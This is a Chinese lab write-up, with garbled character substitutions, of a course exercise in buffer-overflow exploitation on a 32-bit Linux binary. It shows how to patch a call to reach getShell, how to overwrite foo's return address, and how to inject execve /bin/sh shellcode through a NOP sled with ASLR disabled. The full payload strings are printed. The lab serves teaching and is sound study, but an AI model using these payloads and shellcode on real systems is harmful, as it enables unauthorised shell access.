目录html
目标一:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。linux
目标二:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。git
目标三:注入一个本身制做的shellcode并运行这段shellcode。shell
指令 | 做用 |
---|---|
objdump -d | 反汇编指令 |
xxd | 将一个文件以十六进制的形式显示出来 |
cat | 从第一个字节开始正向查看文件的内容 |
| | 管道命令,能够理解为东西从管道的一边流向另一边 |
< | 输出指向, 就是把<后面跟的文件取代键盘做为新的输入设备 |
perl -e | 是一门解释型语言,不须要预编译,能够在命令行上直接使用。 |
指令 | 做用 | 机器码 |
---|---|---|
NOP | 空操做指令 | 90 |
JNE | 条件转移指令,若是不相等则跳转。 | 74 |
JE | 条件转移指令,若是相等则跳转。 | 75 |
JMP | 无条件转移指令 | E9-EB |
CMP | 比较指令 | 38-3D |
参考资料编程
BOF基础实践安全
缓冲区溢出详解网络
缓冲区是一块连续的计算机内存区域,可保存相同数据类型的多个实例。缓冲区能够是堆栈(自动变量)、堆(动态内存)和静态数据区(全局或静态)。dom
若将函数返回地址修改成指向一段精心安排的恶意代码,则可达到危害系统安全的目的。此外,堆栈的正确恢复依赖于压栈的EBP值的正确性,但EBP域邻近局部变量,若编程中有意无心地经过局部变量的地址偏移窜改EBP值,则程序的行为将变得很是危险。ide
反汇编:objdump -d pwn |more
,反汇编文件,并可翻页查看函数
十六进制编程器:使用perl -e
命令
cp pwn1 pwn20165211_1
可生成一个和pwn1同样的文件pwn20165211_1。objdump -d pwn20165211_1|more
将pwn20165211_1反汇编,可获得如下代码,可按enter进行浏览。在获得的反汇编结果中,有不少的部分是这个文件所导入的函数,主要部分以下在这里,咱们能够看到一行关键信息e8 d7 ff ff ff call 8048491 <foo>
,call
指令后面是所要调用的函数首地址08048491
。本文件中存在getShell
函数,若要改调用foo
函数为调用getShell
函数,则将地址改成0804847d
便可,修改过程以下:
vi
命令打开pwn20165211_1
文件,可见文件ELF
文件,且多为乱码:%!xxd
将文件显示为十六进制08048491
对应的十六进制为e8 d7 ff ff ff
,则经过偏移地址的计算方法,得出080447d
对应的十六进制为e8 c3 ff ff ff
,可见,咱们只要将d7
修改成c3
便可。输入/d7
查找定位,查看先后的数,发现为咱们所须要修改的地方。d7
为c3
:%!xxd -r
将文件转化为原格式:wq!
写文件并退出call
指令后面已变为getShell
函数,说明修改已成功。foo
函数的Bof
漏洞,触发getShell
函数。首先明确咱们的目的,在知道了函数getShell
,经过触发这个函数,便可得到主机的Shell
。实际就是想利用这个可执行文件foo
函数的BOF
漏洞,经过输入超过长度的字符串buf,便可将返回地址覆盖变为getShell
的地址,从而触发函数。
首先,经过反汇编,明确buf的最大长度有多少?主要看的是foo函数
在红框框出的位置,咱们能够看到,给buf分配的栈空间,一共有1c(即为28)个字节
以下图,是堆栈的示意图,咱们能够看到,EBP占4个字节,因此,返回地址以前一共有32个字节,故构造的字符串应该是32字节的任意数据加getShell
的地址。
ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEF12345678
来验证咱们的想法。输入gdb ./pwn20165211_2
,来调试改文件,输入咱们构造的字符串,结果以下图:此错误为返回地址为一个无效的地址,查看错误信息,发现为4321的ASCII码值。则可知道咱们的想法是正确的,那么接下来就是将1234的位置替换为getShell
的首地址0804847d
,经过上图,咱们能够看到,其地址应该为逆序的输入进去则为输入应为\x7d\x84\x04\x08
,
可是,在程序输入时,咱们没法直接输入十六进制值,故使用Perl
语言进行构造咱们须要的输入语句,存入input1
文件里,可查看input1
是否符合要求。(\x0a
为回车)
利用管道语句,将input1
做为pwn20165211_2
的输入。查看发现成功得到shell
.
参考资料
在对待一些有BOF漏洞的程序时,这种方法应该是最具备普适性的吧,毕竟不是全部的文件里面都会藏着一个getShell
。
首先是一些准备工做,经过如下的操做设置堆栈可执行,关闭地址随机化。
注入本身构造的shellcode有两种方式,一种是:retaddr+nop+shellcode,另外一种是:nop+shellcode+retaddr。其中nop是滑行区,只要保证retaddr在滑行区就能够。其中,shellcode选择\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
。首先选择shellcode用哪一种方式构造,经常使用的方法retaddr+nop+shellcode。这样就不用考虑缓冲区能容纳shellcode的问题了。因此咱们构造的payload的结构即为32字节random+retaddr+nop+shellcode。
那么接下来就是retaddr的问题了。
首先先写出咱们的攻击bufABCDEFGHIJKLMNOPQRSTUVWXYZABCDEF\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
,注意最后一位不能是\x0a,否则段buf输入时,就会直接开始执行了,没法调试。接下来和上一步同样构造出buf,并注入。
启动gdb调试进程
查看foo函数的地址,已肯定设立断点的位置,设在ret命令的位置
断点设置完成后,在原终端按下回车键。再在此终端继续执行。查看esp值。
而后寻找咱们的\x04\x03\x02\x01
可在图中看到咱们的代码,则可知其地址为0xffffd23c
,那么咱们的shellcode地址为0xffffd240
因此,原buf中的\x01\x02\x03\x04
即为\x40\xd2\xff\xff
,最后构造bufABCDEFGHIJKLMNOPQRSTUVWXYZABCDEF\x40\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x0a
,注入便可得到shell。
execstack命令找不到
发现此命令须要安装,则经过指令安装后,便可正常使用
通过本次的实验,主要就是对BOF有了进一步的理解。
以前也有接触过BOF的相关概念,可是基本停留在概念理解上,真正动手去作了,就可以更加了解缓冲区溢出究竟是怎样去工做的。返回地址的寻找,还有字符串的构造方法,仍是有很大的收获的。
在如今,其实针对缓冲区溢出,也有不少的防御方法,可是,缓冲区溢出仍然是一种有效的攻击手段。就像本次实验中,其实经过远程链接也能够完成本次操做,那么就能够造成一次有效的攻击,形成各类安全风险。
什么是漏洞
- 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可使攻击者可以在未受权的状况下访问或破坏系统,好比在本次,若你的计算机存在这样一个文件,且被对方知悉,并无作有效的防御手段,极有可能被对方得到电脑的操做权,访问,破坏系统,就垂手可得了。
漏洞有什么危害
- 会对咱们的信息隐私形成泄露,传播恶意的软件,被充当某种大型攻击的肉鸡,小至咱们我的计算机没法使用,大至国家网络的瘫痪,都有可能发生。